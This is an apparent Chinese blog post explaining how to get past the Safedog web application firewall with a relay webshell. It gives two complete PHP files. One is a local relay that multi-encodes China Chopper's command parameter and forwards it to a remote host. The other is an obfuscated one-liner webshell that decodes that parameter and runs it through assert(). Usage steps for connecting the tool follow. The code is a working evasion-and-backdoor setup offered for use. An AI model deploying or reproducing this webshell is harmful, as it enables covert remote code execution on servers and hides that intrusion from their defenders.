绕过安全狗_中转Webshell 绕过安全狗(一)

53c41c89061e9dd8267969a5b95fa2bb.gif

前言

听说中国菜刀里有后门。抓包我是没有监测到异常数据包。为了以防万一,且更好使用中国菜刀硬杠安全狗。笔者收集了一下资料。无耻的copy大佬的源码,只是在大佬的基础上简单修改了一下,达到Webshell绕过安全狗。原理

菜刀不直接向shell发送数据,而是发送到中转的一个页面上,这个页面对接收的参数全部进行加密,然后再发送给shell,shell接收后用同样的算法进行解密,执行命令。

客户端

本地127.0.0.1,安装phpstudytransfer.php

<?php     function encode($str){    $DS = base64_encode($str);    $DS = str_rot13($DS);//ROT13编码    $DS = strrev($DS);//反转    $DS = base64_encode($DS);    return $DS;    }    // webshell地址,transServ.php为定制一句话    $webshell = 'http://192.168.253.129/waf/transServ.php';    $pdata = $_POST;//接受所有POST数据,数组    //var_dump($pdata);    foreach($pdata as $key=>$value){         //echo $value;        if(is_array($value)){            $value=implode($value);//数组组合为字符串        }        // 菜刀密码        if($key == 'x') {            //var_dump($pdata[$key]);            $pdata[$key] = encode($value);//encode编码            //echo $pdata[$key];        }            }    $data = http_build_query($pdata);//模拟http请求的,把得到的数据data通过函数URL-encode请求    //var_dump($data);//str字符串    $opts = array (        'http' => array (        'method' => 'POST',        'header'=> "Content-type: application/x-www-form-urlencoded\r\n" . "Content-Length: " . strlen($data) . "\r\n",        'content' => $data)    );    $context = stream_context_create($opts);    //模拟post、get请求,创建资源流上下文,数据包    $html = @file_get_contents($webshell, false, $context);    echo $html;?>

服务端

192.168.253.129,安装安全狗transServ.php

<?php  $DS = @$/*-*/{"_P"."OST"}['x'];//echo $DS;if (!empty($DS) ){    echo $DS."
"; $DS = @base64_decode($DS); echo $DS."
"; $DS = @strrev($DS); echo $DS."
"; $DS = @str_rot13($DS); echo $DS."
"; $DS = @base64_decode($DS); $a=explode(" ", $DS); //var_dump($a); echo assert($a[0]); exit;}

操作

本地中国菜刀连接http://127.0.0.1/transfer.php   密码:x

c2e199e2c76c7742a77f8dbe20c821b2.png

8ea398036b3a699bfd586b620d878b8e.png

4ee36bb053a23ab6cb88db2522d6b8a2.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值